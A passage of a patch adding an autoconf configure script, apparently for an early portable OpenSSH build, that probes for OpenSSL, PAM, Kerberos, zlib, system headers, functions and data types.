flags to pass to compiler], + [ + if test "x$withval" != "xno" ; then + CFLAGS="$CFLAGS $withval" + fi + ] +) +AC_ARG_WITH(cppflags, + [ --with-cppflags Specify additional flags to pass to preprocessor] , + [ + if test "x$withval" != "xno"; then + CPPFLAGS="$CPPFLAGS $withval" + fi + ] +) +AC_ARG_WITH(ldflags, + [ --with-ldflags Specify additional flags to pass to linker], + [ + if test "x$withval" != "xno" ; then + LDFLAGS="$LDFLAGS $withval" + fi + ] +) +AC_ARG_WITH(libs, + [ --with-libs Specify additional libraries to link with], + [ + if test "x$withval" != "xno" ; then + LIBS="$LIBS $withval" + fi + ] +) + +AC_ARG_WITH(pcre, + [ --with-pcre Override built in regex library with pcre], + [ + + AC_CHECK_LIB(pcre, pcre_info, + [ + AC_DEFINE(HAVE_LIBPCRE) + LIBS="$LIBS -lpcreposix -lpcre" + no_comp_check="yes" + ], + [ AC_MSG_ERROR([*** Can not locate pcre libraries.]) ] + ) + ] +) + +# Checks for libraries. +if test -z "$no_libnsl" ; then + AC_CHECK_LIB(nsl, yp_match, , ) +fi +if test -z "$no_libsocket" ; then + AC_CHECK_LIB(socket, main, , ) +fi + +dnl SCO OS3 needs this for libwrap +AC_CHECK_LIB(rpc, innetgr, LIBS="-lrpc -lyp -lrpc $LIBS" , , -lyp -lrpc) + +AC_CHECK_LIB(gen, getspnam, LIBS="$LIBS -lgen") +AC_CHECK_LIB(z, deflate, ,AC_MSG_ERROR([*** zlib missing - please install first or check config.log ***])) +AC_CHECK_LIB(util, login, AC_DEFINE(HAVE_LIBUTIL_LOGIN) LIBS="$LIBS -lutil") + +# We don't want to check if we did an pcre override. +if test -z "$no_comp_check" ; then + AC_CHECK_FUNC(regcomp, + [ AC_DEFINE(HAVE_REGCOMP)], + [ + AC_CHECK_LIB(pcre, pcre_info, + [ + AC_DEFINE(HAVE_LIBPCRE) + LIBS="$LIBS -lpcreposix -lpcre" + ], + [ + AC_MSG_ERROR([*** No regex library found.]) + ]) + ] + ) +fi + +dnl UnixWare 2.x +AC_CHECK_FUNC(strcasecmp, + [], [ AC_CHECK_LIB(resolv, strcasecmp, LIBS="$LIBS -lresolv") ] +) +AC_CHECK_FUNC(utimes, + [], [ AC_CHECK_LIB(c89, utimes, LIBS="$LIBS -lc89") ] +) + +AC_FUNC_STRFTIME + +# Checks for header files. +AC_CHECK_HEADERS(bstring.h crypt.h endian.h floatingpoint.h getopt.h glob.h lastlog.h limits.h login.h login_cap.h maillock.h netdb.h netgroup.h netinet/in_systm.h paths.h poll.h pty.h regex.h shadow.h security/pam_appl.h sys/bitypes.h sys/bsdtty.h sys/cdefs.h sys/poll.h sys/queue.h sys/select.h sys/stat.h sys/stropts.h sys/sysmacros.h sys/time.h sys/ttcompat.h sys/un.h stddef.h time.h ttyent.h usersec.h util.h utime.h utmp.h utmpx.h vis.h) + +# Check for ALTDIRFUNC glob() extension +AC_MSG_CHECKING(for GLOB_ALTDIRFUNC support) +AC_EGREP_CPP(FOUNDIT, + [ + #include + #ifdef GLOB_ALTDIRFUNC + FOUNDIT + #endif + ], + [ + AC_DEFINE(GLOB_HAS_ALTDIRFUNC) + AC_MSG_RESULT(yes) + ], + [ + AC_MSG_RESULT(no) + ] +) + +# Check for g.gl_matchc glob() extension +AC_MSG_CHECKING(for gl_matchc field in glob_t) +AC_EGREP_CPP(FOUNDIT, + [ + #include + int main(void){glob_t g; g.gl_matchc = 1;} + ], + [ + AC_DEFINE(GLOB_HAS_GL_MATCHC) + AC_MSG_RESULT(yes) + ], + [ + AC_MSG_RESULT(no) + ] +) + +AC_MSG_CHECKING([whether struct dirent allocates space for d_name]) +AC_TRY_RUN( + [ +#include +#include +int main(void){struct dirent d;return(sizeof(d.d_name)<=sizeof(char));} + ], + [AC_MSG_RESULT(yes)], + [ + AC_MSG_RESULT(no) + AC_DEFINE(BROKEN_ONE_BYTE_DIRENT_D_NAME) + ] +) + +# Check whether user wants S/Key support +SKEY_MSG="no" +AC_ARG_WITH(skey, + [ --with-skey=PATH Enable S/Key support], + [ + if test "x$withval" != "xno" ; then + + if test "x$withval" != "xyes" ; then + CPPFLAGS="$CPPFLAGS -I${withval}/include" + LDFLAGS="$LDFLAGS -L${withval}/lib" + fi + + AC_DEFINE(SKEY) + LIBS="-lskey $LIBS" + SKEY_MSG="yes" + + AC_CHECK_FUNC(skey_keyinfo, + [], + [ + AC_MSG_ERROR([** Incomplete or missing s/key libraries.]) + ]) + fi + ] +) + +# Check whether user wants TCP wrappers support +TCPW_MSG="no" +AC_ARG_WITH(tcp-wrappers, + [ --with-tcp-wrappers Enable tcpwrappers support], + [ + if test "x$withval" != "xno" ; then + saved_LIBS="$LIBS" + LIBS="-lwrap $LIBS" + AC_MSG_CHECKING(for libwrap) + AC_TRY_LINK( + [ +#include + int deny_severity = 0, allow_severity = 0; + ], + [hosts_access(0);], + [ + AC_MSG_RESULT(yes) + AC_DEFINE(LIBWRAP) + TCPW_MSG="yes" + ], + [ + AC_MSG_ERROR([*** libwrap missing]) + ] + ) + fi + ] +) + +dnl Checks for library functions. +AC_CHECK_FUNCS(arc4random atexit b64_ntop bcopy bindresvport_sa clock fchown fchmod freeaddrinfo futimes gai_strerror getcwd getaddrinfo getgrouplist getnameinfo getrlimit getrusage getttyent getusershell glob inet_aton inet_ntoa inet_ntop innetgr login_getcapbool md5_crypt memmove mkdtemp on_exit openpty realpath rresvport_af setdtablesize setenv setegid seteuid setlogin setproctitle setresgid setreuid setrlimit setsid sigaction sigvec snprintf strerror strlcat strlcpy strmode strsep strtok_r sysconf tcgetpgrp utimes vsnprintf vhangup vis waitpid _getpty __b64_ntop) +dnl Checks for time functions +AC_CHECK_FUNCS(gettimeofday time) +dnl Checks for libutil functions +AC_CHECK_HEADERS(libutil.h) +AC_CHECK_FUNCS(login logout updwtmp logwtmp) +dnl Checks for utmp functions +AC_CHECK_FUNCS(endutent getutent getutid getutline pututline setutent) +AC_CHECK_FUNCS(utmpname) +dnl Checks for utmpx functions +AC_CHECK_FUNCS(endutxent getutxent getutxid getutxline pututxline ) +AC_CHECK_FUNCS(setutxent utmpxname) + +AC_CHECK_FUNC(getuserattr, + [AC_DEFINE(HAVE_GETUSERATTR)], + [AC_CHECK_LIB(s, getuserattr, [LIBS="$LIBS -ls"; AC_DEFINE(HAVE_GETUSERATTR)])] +) + +AC_CHECK_FUNC(login, + [AC_DEFINE(HAVE_LOGIN)], + [AC_CHECK_LIB(bsd, login, [LIBS="$LIBS -lbsd"; AC_DEFINE(HAVE_LOGIN)])] +) + +AC_CHECK_FUNC(daemon, + [AC_DEFINE(HAVE_DAEMON)], + [AC_CHECK_LIB(bsd, daemon, [LIBS="$LIBS -lbsd"; AC_DEFINE(HAVE_DAEMON)])] +) + +AC_CHECK_FUNC(getpagesize, + [AC_DEFINE(HAVE_GETPAGESIZE)], + [AC_CHECK_LIB(ucb, getpagesize, [LIBS="$LIBS -lucb"; AC_DEFINE(HAVE_GETPAGESIZE)])] +) + +# Check for broken snprintf +if test "x$ac_cv_func_snprintf" = "xyes" ; then + AC_MSG_CHECKING([whether snprintf correctly terminates long strings]) + AC_TRY_RUN( + [ +#include +int main(void){char b[5];snprintf(b,5,"123456789");return(b[4]!='\0');} + ], + [AC_MSG_RESULT(yes)], + [ + AC_MSG_RESULT(no) + AC_DEFINE(BROKEN_SNPRINTF) + AC_MSG_WARN([****** Your snprintf() function is broken, complain to your vendor]) + ] + ) +fi + +AC_FUNC_GETPGRP + +# Check for PAM libs +PAM_MSG="no" +AC_ARG_WITH(pam, + [ --with-pam Enable PAM support ], + [ + if test "x$withval" != "xno" ; then + if test "x$ac_cv_header_security_pam_appl_h" != "xyes" ; then + AC_MSG_ERROR([PAM headers not found]) + fi + + AC_CHECK_LIB(dl, dlopen, , ) + AC_CHECK_LIB(pam, pam_set_item, , AC_MSG_ERROR([*** libpam missing])) + AC_CHECK_FUNCS(pam_getenvlist) + + disable_shadow=yes + PAM_MSG="yes" + + AC_DEFINE(USE_PAM) + fi + ] +) + +# Check for older PAM +if test "x$PAM_MSG" = "xyes" ; then + # Check PAM strerror arguments (old PAM) + AC_MSG_CHECKING([whether pam_strerror takes only one argument]) + AC_TRY_COMPILE( + [ +#include +#include + ], + [(void)pam_strerror((pam_handle_t *)NULL, -1);], + [AC_MSG_RESULT(no)], + [ + AC_DEFINE(HAVE_OLD_PAM) + AC_MSG_RESULT(yes) + PAM_MSG="yes (old library)" + ] + ) +fi + +# The big search for OpenSSL +AC_ARG_WITH(ssl-dir, + [ --with-ssl-dir=PATH Specify path to OpenSSL installation ], + [ + if test "x$withval" != "xno" ; then + tryssldir=$withval + fi + ] +) + +saved_LIBS="$LIBS" +saved_LDFLAGS="$LDFLAGS" +saved_CPPFLAGS="$CPPFLAGS" +if test "x$prefix" != "xNONE" ; then + tryssldir="$tryssldir $prefix" +fi +AC_CACHE_CHECK([for OpenSSL directory], ac_cv_openssldir, [ + for ssldir in $tryssldir "" /usr/local/openssl /usr/lib/openssl /usr/local/ssl /usr/lib/ssl /usr/local /usr/pkg /opt /opt/openssl ; do + CPPFLAGS="$saved_CPPFLAGS" + LDFLAGS="$saved_LDFLAGS" + LIBS="$saved_LIBS -lcrypto" + + # Skip directories if they don't exist + if test ! -z "$ssldir" -a ! -d "$ssldir" ; then + continue; + fi + if test ! -z "$ssldir" -a "x$ssldir" != "x/usr"; then + # Try to use $ssldir/lib if it exists, otherwise + # $ssldir + if test -d "$ssldir/lib" ; then + LDFLAGS="-L$ssldir/lib $saved_LDFLAGS" + if test ! -z "$need_dash_r" ; then + LDFLAGS="-R$ssldir/lib $LDFLAGS" + fi + else + LDFLAGS="-L$ssldir $saved_LDFLAGS" + if test ! -z "$need_dash_r" ; then + LDFLAGS="-R$ssldir $LDFLAGS" + fi + fi + # Try to use $ssldir/include if it exists, otherwise + # $ssldir + if test -d "$ssldir/include" ; then + CPPFLAGS="-I$ssldir/include $saved_CPPFLAGS" + else + CPPFLAGS="-I$ssldir $saved_CPPFLAGS" + fi + fi + + # Basic test to check for compatible version and correct linking + # *does not* test for RSA - that comes later. + AC_TRY_RUN( + [ +#include +#include +int main(void) +{ + char a[2048]; + memset(a, 0, sizeof(a)); + RAND_add(a, sizeof(a), sizeof(a)); + return(RAND_status() <= 0); +} + ], + [ + found_crypto=1 + break; + ], [] + ) + + if test ! -z "$found_crypto" ; then + break; + fi + done + + if test -z "$found_crypto" ; then + AC_MSG_ERROR([Could not find working OpenSSL library, please install or check config.log]) + fi + if test -z "$ssldir" ; then + ssldir="(system)" + fi + + ac_cv_openssldir=$ssldir +]) + +if (test ! -z "$ac_cv_openssldir" && test "x$ac_cv_openssldir" != "x(system)") ; then + AC_DEFINE(HAVE_OPENSSL) + dnl Need to recover ssldir - test above runs in subshell + ssldir=$ac_cv_openssldir + if test ! -z "$ssldir" -a "x$ssldir" != "x/usr"; then + # Try to use $ssldir/lib if it exists, otherwise + # $ssldir + if test -d "$ssldir/lib" ; then + LDFLAGS="-L$ssldir/lib $saved_LDFLAGS" + if test ! -z "$need_dash_r" ; then + LDFLAGS="-R$ssldir/lib $LDFLAGS" + fi + else + LDFLAGS="-L$ssldir $saved_LDFLAGS" + if test ! -z "$need_dash_r" ; then + LDFLAGS="-R$ssldir $LDFLAGS" + fi + fi + # Try to use $ssldir/include if it exists, otherwise + # $ssldir + if test -d "$ssldir/include" ; then + CPPFLAGS="-I$ssldir/include $saved_CPPFLAGS" + else + CPPFLAGS="-I$ssldir $saved_CPPFLAGS" + fi + fi +fi +LIBS="$saved_LIBS -lcrypto" + +# Now test RSA support +saved_LIBS="$LIBS" +AC_MSG_CHECKING([for RSA support]) +for WANTS_RSAREF in "" 1 ; do + if test -z "$WANTS_RSAREF" ; then + LIBS="$saved_LIBS" + else + LIBS="$saved_LIBS -lRSAglue -lrsaref" + fi + AC_TRY_RUN([ +#include +#include +#include +#include +#include +int main(void) +{ + int num; RSA *key; static unsigned char p_in[] = "blahblah"; + unsigned char c[256], p[256]; + memset(c, 0, sizeof(c)); RAND_add(c, sizeof(c), sizeof(c)); + if ((key=RSA_generate_key(512, 3, NULL, NULL))==NULL) return(1); + num = RSA_public_encrypt(sizeof(p_in) - 1, p_in, c, key, RSA_PKCS1_PADDING); + return(-1 == RSA_private_decrypt(num, c, p, key, RSA_PKCS1_PADDING)); +} + ], + [ + rsa_works=1 + break; + ], []) +done + +if test ! -z "$no_rsa" ; then + AC_MSG_RESULT(disabled) + RSA_MSG="disabled" +else + if test -z "$rsa_works" ; then + AC_MSG_WARN([*** No RSA support found *** ]) + RSA_MSG="no" + else + if test -z "$WANTS_RSAREF" ; then + AC_MSG_RESULT(yes) + RSA_MSG="yes" + else + RSA_MSG="yes (using RSAref)" + AC_MSG_RESULT(using RSAref) + LIBS="$saved_LIBS -lcrypto -lRSAglue -lrsaref" + fi + fi +fi + +# Some Linux systems (Slackware) need crypt() from libcrypt, *not* the +# version in OpenSSL. Skip this for PAM +if test "x$PAM_MSG" = "xno" -a "x$check_for_libcrypt_later" = "x1"; then + AC_CHECK_LIB(crypt, crypt, LIBS="$LIBS -lcrypt") +fi + +# Cheap hack to ensure NEWS-OS libraries are arranged right. +if test ! -z "$SONY" ; then + LIBS="$LIBS -liberty"; +fi + +# Checks for data types +AC_CHECK_SIZEOF(char, 1) +AC_CHECK_SIZEOF(short int, 2) +AC_CHECK_SIZEOF(int, 4) +AC_CHECK_SIZEOF(long int, 4) +AC_CHECK_SIZEOF(long long int, 8) + +# More checks for data types +AC_CACHE_CHECK([for u_int type], ac_cv_have_u_int, [ + AC_TRY_COMPILE( + [ #include ], + [ u_int a; a = 1;], + [ ac_cv_have_u_int="yes" ], + [ ac_cv_have_u_int="no" ] + ) +]) +if test "x$ac_cv_have_u_int" = "xyes" ; then + AC_DEFINE(HAVE_U_INT) + have_u_int=1 +fi + +AC_CACHE_CHECK([for intXX_t types], ac_cv_have_intxx_t, [ + AC_TRY_COMPILE( + [ #include ], + [ int8_t a; int16_t b; int32_t c; a = b = c = 1;], + [ ac_cv_have_intxx_t="yes" ], + [ ac_cv_have_intxx_t="no" ] + ) +]) +if test "x$ac_cv_have_intxx_t" = "xyes" ; then + AC_DEFINE(HAVE_INTXX_T) + have_intxx_t=1 +fi + +AC_CACHE_CHECK([for int64_t type], ac_cv_have_int64_t, [ + AC_TRY_COMPILE( + [ #include ], + [ int64_t a; a = 1;], + [ ac_cv_have_int64_t="yes" ], + [ ac_cv_have_int64_t="no" ] + ) +]) +if test "x$ac_cv_have_int64_t" = "xyes" ; then + AC_DEFINE(HAVE_INT64_T) + have_int64_t=1 +fi + +AC_CACHE_CHECK([for u_intXX_t types], ac_cv_have_u_intxx_t, [ + AC_TRY_COMPILE( + [ #include ], + [ u_int8_t a; u_int16_t b; u_int32_t c; a = b = c = 1;], + [ ac_cv_have_u_intxx_t="yes" ], + [ ac_cv_have_u_intxx_t="no" ] + ) +]) +if test "x$ac_cv_have_u_intxx_t" = "xyes" ; then + AC_DEFINE(HAVE_U_INTXX_T) + have_u_intxx_t=1 +fi + +AC_CACHE_CHECK([for u_int64_t types], ac_cv_have_u_int64_t, [ + AC_TRY_COMPILE( + [ #include ], + [ u_int64_t a; a = 1;], + [ ac_cv_have_u_int64_t="yes" ], + [ ac_cv_have_u_int64_t="no" ] + ) +]) +if test "x$ac_cv_have_u_int64_t" = "xyes" ; then + AC_DEFINE(HAVE_U_INT64_T) + have_u_int64_t=1 +fi + +if (test -z "$have_u_intxx_t" || test -z "$have_intxx_t" && \ + test "x$ac_cv_header_sys_bitypes_h" = "xyes") +then + AC_MSG_CHECKING([for intXX_t and u_intXX_t types in sys/bitypes.h]) + AC_TRY_COMPILE( + [ +#include + ], + [ + int8_t a; int16_t b; int32_t c; + u_int8_t e; u_int16_t f; u_int32_t g; + a = b = c = e = f = g = 1; + ], + [ + AC_DEFINE(HAVE_U_INTXX_T) + AC_DEFINE(HAVE_INTXX_T) + AC_MSG_RESULT(yes) + ], + [AC_MSG_RESULT(no)] + ) +fi + +if test -z "$have_u_intxx_t" ; then + AC_CACHE_CHECK([for uintXX_t types], ac_cv_have_uintxx_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ uint8_t a; uint16_t b; uint32_t c; a = b = c = 1; ], + [ ac_cv_have_uintxx_t="yes" ], + [ ac_cv_have_uintxx_t="no" ] + ) + ]) + if test "x$ac_cv_have_uintxx_t" = "xyes" ; then + AC_DEFINE(HAVE_UINTXX_T) + fi +fi + +AC_CACHE_CHECK([for socklen_t], ac_cv_have_socklen_t, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [socklen_t foo; foo = 1235;], + [ ac_cv_have_socklen_t="yes" ], + [ ac_cv_have_socklen_t="no" ] + ) +]) +if test "x$ac_cv_have_socklen_t" = "xyes" ; then + AC_DEFINE(HAVE_SOCKLEN_T) +fi + +AC_CACHE_CHECK([for size_t], ac_cv_have_size_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ size_t foo; foo = 1235; ], + [ ac_cv_have_size_t="yes" ], + [ ac_cv_have_size_t="no" ] + ) +]) +if test "x$ac_cv_have_size_t" = "xyes" ; then + AC_DEFINE(HAVE_SIZE_T) +fi + +AC_CACHE_CHECK([for ssize_t], ac_cv_have_ssize_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ ssize_t foo; foo = 1235; ], + [ ac_cv_have_ssize_t="yes" ], + [ ac_cv_have_ssize_t="no" ] + ) +]) +if test "x$ac_cv_have_ssize_t" = "xyes" ; then + AC_DEFINE(HAVE_SSIZE_T) +fi + +AC_CACHE_CHECK([for clock_t], ac_cv_have_clock_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ clock_t foo; foo = 1235; ], + [ ac_cv_have_clock_t="yes" ], + [ ac_cv_have_clock_t="no" ] + ) +]) +if test "x$ac_cv_have_clock_t" = "xyes" ; then + AC_DEFINE(HAVE_CLOCK_T) +fi + +AC_CACHE_CHECK([for sa_family_t], ac_cv_have_sa_family_t, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ sa_family_t foo; foo = 1235; ], + [ ac_cv_have_sa_family_t="yes" ], + [ AC_TRY_COMPILE( + [ +#include +#include +#include + ], + [ sa_family_t foo; foo = 1235; ], + [ ac_cv_have_sa_family_t="yes" ], + + [ ac_cv_have_sa_family_t="no" ] + )] + ) +]) +if test "x$ac_cv_have_sa_family_t" = "xyes" ; then + AC_DEFINE(HAVE_SA_FAMILY_T) +fi + +AC_CACHE_CHECK([for pid_t], ac_cv_have_pid_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ pid_t foo; foo = 1235; ], + [ ac_cv_have_pid_t="yes" ], + [ ac_cv_have_pid_t="no" ] + ) +]) +if test "x$ac_cv_have_pid_t" = "xyes" ; then + AC_DEFINE(HAVE_PID_T) +fi + +AC_CACHE_CHECK([for mode_t], ac_cv_have_mode_t, [ + AC_TRY_COMPILE( + [ +#include + ], + [ mode_t foo; foo = 1235; ], + [ ac_cv_have_mode_t="yes" ], + [ ac_cv_have_mode_t="no" ] + ) +]) +if test "x$ac_cv_have_mode_t" = "xyes" ; then + AC_DEFINE(HAVE_MODE_T) +fi + + +AC_CACHE_CHECK([for struct sockaddr_storage], ac_cv_have_struct_sockaddr_storage, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_storage s; ], + [ ac_cv_have_struct_sockaddr_storage="yes" ], + [ ac_cv_have_struct_sockaddr_storage="no" ] + ) +]) +if test "x$ac_cv_have_struct_sockaddr_storage" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_SOCKADDR_STORAGE) +fi + +AC_CACHE_CHECK([for struct sockaddr_in6], ac_cv_have_struct_sockaddr_in6, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_in6 s; s.sin6_family = 0; ], + [ ac_cv_have_struct_sockaddr_in6="yes" ], + [ ac_cv_have_struct_sockaddr_in6="no" ] + ) +]) +if test "x$ac_cv_have_struct_sockaddr_in6" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_SOCKADDR_IN6) +fi + +AC_CACHE_CHECK([for struct in6_addr], ac_cv_have_struct_in6_addr, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct in6_addr s; s.s6_addr[0] = 0; ], + [ ac_cv_have_struct_in6_addr="yes" ], + [ ac_cv_have_struct_in6_addr="no" ] + ) +]) +if test "x$ac_cv_have_struct_in6_addr" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_IN6_ADDR) +fi + +AC_CACHE_CHECK([for struct addrinfo], ac_cv_have_struct_addrinfo, [ + AC_TRY_COMPILE( + [ +#include +#include +#include + ], + [ struct addrinfo s; s.ai_flags = AI_PASSIVE; ], + [ ac_cv_have_struct_addrinfo="yes" ], + [ ac_cv_have_struct_addrinfo="no" ] + ) +]) +if test "x$ac_cv_have_struct_addrinfo" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_ADDRINFO) +fi + +AC_CACHE_CHECK([for struct timeval], ac_cv_have_struct_timeval, [ + AC_TRY_COMPILE( + [ #include ], + [ struct timeval tv; tv.tv_sec = 1;], + [ ac_cv_have_struct_timeval="yes" ], + [ ac_cv_have_struct_timeval="no" ] + ) +]) +if test "x$ac_cv_have_struct_timeval" = "xyes" ; then + AC_DEFINE(HAVE_STRUCT_TIMEVAL) + have_struct_timeval=1 +fi + +# If we don't have int64_t then we can't compile sftp-server. So don't +# even attempt to do it. +if test "x$ac_cv_have_int64_t" = "xno" -a \ + "x$ac_cv_sizeof_long_int" != "x8" -a \ + "x$ac_cv_sizeof_long_long_int" = "x0" ; then + NO_SFTP='#' +else +dnl test snprintf (broken on SCO w/gcc) + AC_TRY_RUN( + [ +#include +#include +#ifdef HAVE_SNPRINTF +main() +{ + char buf[50]; + char expected_out[50]; + int mazsize = 50 ; +#if (SIZEOF_LONG_INT == 8) + long int num = 0x7fffffffffffffff; +#else + long long num = 0x7fffffffffffffff; +#endif + strcpy(expected_out, "9223372036854775807"); + snprintf(buf, mazsize, "%lld", num); + if(strcmp(buf, expected_out) != 0) + exit(1); + exit(0); +} +#else +main() { exit(0); } +#endif + ], [ true ], [ AC_DEFINE(BROKEN_SNPRINTF) ] + ) +fi +AC_SUBST(NO_SFTP) + +dnl Checks for structure members +OSSH_CHECK_HEADER_FOR_FIELD(ut_host, utmp.h, HAVE_HOST_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_host, utmpx.h, HAVE_HOST_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(syslen, utmpx.h, HAVE_SYSLEN_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_pid, utmp.h, HAVE_PID_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_type, utmp.h, HAVE_TYPE_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_type, utmpx.h, HAVE_TYPE_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_tv, utmp.h, HAVE_TV_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_id, utmp.h, HAVE_ID_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_id, utmpx.h, HAVE_ID_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr, utmp.h, HAVE_ADDR_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr, utmpx.h, HAVE_ADDR_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr_v6, utmp.h, HAVE_ADDR_V6_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_addr_v6, utmpx.h, HAVE_ADDR_V6_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_exit, utmp.h, HAVE_EXIT_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_time, utmp.h, HAVE_TIME_IN_UTMP) +OSSH_CHECK_HEADER_FOR_FIELD(ut_time, utmpx.h, HAVE_TIME_IN_UTMPX) +OSSH_CHECK_HEADER_FOR_FIELD(ut_tv, utmpx.h, HAVE_TV_IN_UTMPX) +AC_STRUCT_ST_BLKSIZE + +AC_CACHE_CHECK([for sun_len field in struct sockaddr_un], + ac_cv_have_sun_len_in_struct_sockaddr_un, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_un s; s.sun_len = 1; ], + [ ac_cv_have_sun_len_in_struct_sockaddr_un="yes" ], + [ ac_cv_have_sun_len_in_struct_sockaddr_un="no" ], + ) +]) +if test "x$ac_cv_have_sun_len_in_struct_sockaddr_un" = "xyes" ; then + AC_DEFINE(HAVE_SUN_LEN_IN_SOCKADDR_UN) +fi + +AC_CACHE_CHECK([for ss_family field in struct sockaddr_storage], + ac_cv_have_ss_family_in_struct_ss, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_storage s; s.ss_family = 1; ], + [ ac_cv_have_ss_family_in_struct_ss="yes" ], + [ ac_cv_have_ss_family_in_struct_ss="no" ], + ) +]) +if test "x$ac_cv_have_ss_family_in_struct_ss" = "xyes" ; then + AC_DEFINE(HAVE_SS_FAMILY_IN_SS) +fi + +AC_CACHE_CHECK([for __ss_family field in struct sockaddr_storage], + ac_cv_have___ss_family_in_struct_ss, [ + AC_TRY_COMPILE( + [ +#include +#include + ], + [ struct sockaddr_storage s; s.__ss_family = 1; ], + [ ac_cv_have___ss_family_in_struct_ss="yes" ], + [ ac_cv_have___ss_family_in_struct_ss="no" ] + ) +]) +if test "x$ac_cv_have___ss_family_in_struct_ss" = "xyes" ; then + AC_DEFINE(HAVE___SS_FAMILY_IN_SS) +fi + +AC_CACHE_CHECK([for pw_class field in struct passwd], + ac_cv_have_pw_class_in_struct_passwd, [ + AC_TRY_COMPILE( + [ +#include + ], + [ struct passwd p; p.pw_class = 0; ], + [ ac_cv_have_pw_class_in_struct_passwd="yes" ], + [ ac_cv_have_pw_class_in_struct_passwd="no" ] + ) +]) +if test "x$ac_cv_have_pw_class_in_struct_passwd" = "xyes" ; then + AC_DEFINE(HAVE_PW_CLASS_IN_PASSWD) +fi + + +AC_CACHE_CHECK([if libc defines __progname], ac_cv_libc_defines___progname, [ + AC_TRY_LINK([], + [ extern char *__progname; printf("%s", __progname); ], + [ ac_cv_libc_defines___progname="yes" ], + [ ac_cv_libc_defines___progname="no" ] + ) +]) +if test "x$ac_cv_libc_defines___progname" = "xyes" ; then + AC_DEFINE(HAVE___PROGNAME) +fi + + +AC_CACHE_CHECK([if libc defines sys_errlist], ac_cv_libc_defines_sys_errlist, [ + AC_TRY_LINK([], + [ extern const char *const sys_errlist[]; printf("%s", sys_errlist[0]);], + [ ac_cv_libc_defines_sys_errlist="yes" ], + [ ac_cv_libc_defines_sys_errlist="no" ] + ) +]) +if test "x$ac_cv_libc_defines_sys_errlist" = "xyes" ; then + AC_DEFINE(HAVE_SYS_ERRLIST) +fi + + +AC_CACHE_CHECK([if libc defines sys_nerr], ac_cv_libc_defines_sys_nerr, [ + AC_TRY_LINK([], + [ extern int sys_nerr; printf("%i", sys_nerr);], + [ ac_cv_libc_defines_sys_nerr="yes" ], + [ ac_cv_libc_defines_sys_nerr="no" ] + ) +]) +if test "x$ac_cv_libc_defines_sys_nerr" = "xyes" ; then + AC_DEFINE(HAVE_SYS_NERR) +fi + + +# Check whether user wants Kerberos support +KRB4_MSG="no" +AC_ARG_WITH(kerberos4, + [ --with-kerberos4=PATH Enable Kerberos 4 support], + [ + if test "x$withval" != "xno" ; then + + if test "x$withval" != "xyes" ; then + CPPFLAGS="$CPPFLAGS -I${withval}/include" + LDFLAGS="$LDFLAGS -L${withval}/lib" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R${withval}/lib" + fi + if test ! -z "$blibpath" ; then + blibpath="$blibpath:${withval}/lib" + fi + else + if test -d /usr/include/kerberosIV ; then + CPPFLAGS="$CPPFLAGS -I/usr/include/kerberosIV" + fi + fi + + AC_CHECK_HEADERS(krb.h) + if test "$ac_cv_header_krb_h" != yes; then + AC_MSG_WARN([Cannot find krb.h, build may fail]) + fi + AC_CHECK_LIB(krb, main) + if test "$ac_cv_lib_krb_main" != yes; then + AC_CHECK_LIB(krb4, main) + if test "$ac_cv_lib_krb4_main" != yes; then + AC_MSG_WARN([Cannot find libkrb nor libkrb4, build may fail]) + else + KLIBS="-lkrb4" + fi + else + KLIBS="-lkrb" + fi + AC_CHECK_LIB(des, des_cbc_encrypt) + if test "$ac_cv_lib_des_des_cbc_encrypt" != yes; then + AC_CHECK_LIB(des425, des_cbc_encrypt) + if test "$ac_cv_lib_des425_des_cbc_encrypt" != yes; then + AC_MSG_WARN([Cannot find libdes nor libdes425, build may fail]) + else + KLIBS="-ldes425" + fi + else + KLIBS="-ldes" + fi + AC_CHECK_LIB(resolv, dn_expand, , ) + KRB4=yes + KRB4_MSG="yes" + AC_DEFINE(KRB4) + fi + ] +) + +# Check whether user wants AFS support +AFS_MSG="no" +AC_ARG_WITH(afs, + [ --with-afs=PATH Enable AFS support], + [ + if test "x$withval" != "xno" ; then + + if test "x$withval" != "xyes" ; then + CPPFLAGS="$CPPFLAGS -I${withval}/include" + LDFLAGS="$LDFLAGS -L${withval}/lib" + fi + + if test -z "$KRB4" ; then + AC_MSG_WARN([AFS requires Kerberos IV support, build may fail]) + fi + + LIBS="-lkafs $LIBS" + if test ! -z "$AFS_LIBS" ; then + LIBS="$LIBS $AFS_LIBS" + fi + AC_DEFINE(AFS) + AFS_MSG="yes" + fi + ] +) +LIBS="$LIBS $KLIBS" + +# Looking for programs, paths and files +AC_ARG_WITH(rsh, + [ --with-rsh=PATH Specify path to remote shell program ], + [ + if test 